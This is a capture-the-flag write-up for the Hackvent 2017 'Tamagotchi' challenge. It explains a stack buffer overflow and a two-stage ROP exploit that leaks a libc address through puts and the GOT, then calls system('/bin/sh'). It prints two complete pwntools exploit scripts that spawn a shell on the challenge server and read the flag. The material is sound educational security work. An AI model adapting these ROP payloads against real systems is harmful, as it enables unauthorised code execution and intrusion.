CTF Writeup: Hackvent 2017 Day 21 - "Tamagotchi"
By David Buchanan, 6th of January 2018
For this challenge, we were provided with two files: tamagotchi and libc-2.26.so (Both ELF files), along with the address of a remote service running the same program. This is a typical setup for an exploitation challenge - We need to figure out how to exploit the remote service in order to gain access to the flag, which is presumably stored somewhere on the remote machine.
One of my first steps when dealing with such a challenge is to check what security features are enabled:
1 2 3
$ checksec --file tamagotchi RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 tamagotchi
NX is enabled, so we can't be putting shellcode on the stack, but the lack of PIE
and stack canary makes it look likely we'll be using ROP in some form. The fact
that they provided their
libc.so is a hint that we'll probably want to ROP into that
at some point.
The next step is of course to run the program and see what it does:
°º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸ °º¤ø,¸¸,ø¤º° TAMAGOTCHI ¸¸,ø¤º°`°º¤ø,¸ °º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸ __O__ .' '. .' '. . _________ . : | .-. | : : | ( - ) | : - ohai! pls food! :D : | " " | : : |_________| : | | ' O O ' ', O ,' '....... | simple challenge by muffinx (twitter.com/muffiniks) [MENU] 1.) eat 2.) bye [ch01c3]>
The program presents a very simple user interface with only two options. "eat" accepts some user input (and then does nothing with it?), and "bye" exits the program. The obvious thing to do here is to try giving the program some large inputs, shown here via the magic of asciinema:
Here, I am using
gdb-peda in order to analyse the subsequent crash. The program
segfaults when it tries to return from
main(), because it is trying to return
0x4141414141414141! All the
As that I sent as input ended up
overflowing a buffer on the stack, overwriting the return pointer (the ascii value
0x41). This means we have contol of the instruciton pointer
(the aptly named
rip register), but what can we do with that control?
A more "traditional" exploit might try to jump to shellcode on the stack, but we can't do that because the stack is not marked as executable (because of the NX bit). Instead, we must turn to Return Oriented Programming (ROP).
My eventual goal is to make the program run
system("/bin/sh") in order to
spawn a shell which I can use to extract the flag. Unfortunately, there isn't
any code to do that in the program iteslf, but there is inside libc! So, we want
to overflow the instruction pointer on the stack to point somewhere inside libc,
but how do we know where? This question is slightly trickier to answer because of
Address Space Layout Randomisation (ASLR). ASLR is present on almost all modern
systems, and it means that code is loaded into memory at random unpredictable offsets.
In order to bypass this ASLR, we need to leak a pointer into libc so we know
where it is in memory. Fortunately, there is already some code in the
program that can help us to do this. Specifically,
puts() is at a known location in the
Procedure Linkage Table (PLT), which we can use to call
puts() from libc,
and use it to print a pointer to libc. We can find pointers to libc at a known
location in the Global Offset Table (GOT).
Once I know where libc is, the second "stage" of the exploit that actually calls
system("/bin/sh") needs to be generated dynamically. That means the first
ROP payloads needs to make the program loop back to the beginning, ready
for the stack to be smashed a second time.
To summarise, these are the main steps of the exploit:
- Smash the stack, use ROP to:
- Leak a libc pointer.
- Loop the program back to the beginning.
- Smash the stack again with a dynamically generated ROP payload that calls
- Pop a shell!
And here it is all put together, using the awesome pwntools python module to help:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
from pwn import * TESTING = True tama = ELF('./tamagotchi') if TESTING: libc = ELF('/usr/lib/libc-2.26.so') t = process(["./tamagotchi"]) else: libc = ELF('./libc-2.26.so') t = remote("challenges.hackvent.hacking-lab.com", 31337) POP_RDI = 0x0000000000400803 payload = "A"*216 payload += p64(POP_RDI) + p64(tama.got["fgets"]) payload += p64(tama.plt['puts']) payload += p64(tama.symbols["main"]) t.sendline("1"); t.sendline(payload) t.sendline("2") t.recvuntil("bye bye\n") libc_fgets = u64(t.readline()[:-1].ljust(8, "\0")) # may fail if \n in leaked address LIBC_BASE = libc_fgets - libc.symbols["fgets"] print("libc: " + hex(LIBC_BASE)) payload = "A"*216 payload += p64(POP_RDI) + p64(LIBC_BASE + next(libc.search("/bin/sh"))) payload += p64(LIBC_BASE + libc.symbols["system"]) t.sendline("1") t.sendline(payload) t.sendline("2") t.recvuntil("bye bye\n") t.interactive()
One small detail I've skipped until now is how I call functions with arguments, like
In accordance with the System V x86-64 ABI, the first argument to a function is placed in the
rdi register. In order to control
rdi, I use a "ROP gadget" which executes
the assembly instructions
pop rdi; ret; in order to take a value from the stack (which I control)
and put it in rdi
. I used the tool "ROPgadget" in order to
Note that I use the variable
TESTING to decide whether I am testing the exploit
on my local machine, or running it against the remote server. When testing, I load
up my local libc library so that the offets calculated are correct for my machine,
and of course I use the remote libc to calculate offets for remote exploitation.
Once the exploit is complete, it spawns a shell. It turns out the flag was inside
a file called
flag in the home directory, so running
cat ~/flag gives us the flag!
Once I had that working, I thought i'd try out the pwntools ROP module. Conclusion - it's awesome, and makes things way easier:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
from pwn import * context.clear(arch = "x86_64", kernel = 'amd64') TESTING = False tama = ELF('./tamagotchi') if TESTING: libc = ELF('/usr/lib/libc-2.26.so') t = process(["./tamagotchi"]) else: libc = ELF('./libc-2.26.so') t = remote("challenges.hackvent.hacking-lab.com", 31337) rop = ROP(tama) rop.puts(tama.got["fgets"]) rop.main() log.info(rop.dump()) t.sendline("1"); t.sendline("A"*216 + rop.chain()) t.sendline("2") t.recvuntil("bye bye\n") libc_fgets = u64(t.readline()[:-1].ljust(8, "\0")) # may fail if \n in leaked address libc.address = libc_fgets - libc.symbols["fgets"] log.success("LIBC BASE ADDRESS: " + hex(libc.address)) rop2 = ROP(libc) rop2.system(next(libc.search("/bin/sh"))) log.info(rop2.dump()) t.sendline("1") t.sendline("A"*216 + rop2.chain()) t.sendline("2") t.recvuntil("bye bye\n") t.sendline("cat ~/flag") log.success("FLAG: " + t.recvline().strip()) t.interactive()
One major advantage to this approach is that it is much easier to modify the payload,
for example if I wanted to switch from using
system() to using
execve() I could just write:
rop2.execve(next(libc.search("/bin/sh")), 0, 0)
P.S. I was the first person to solve this challenge :P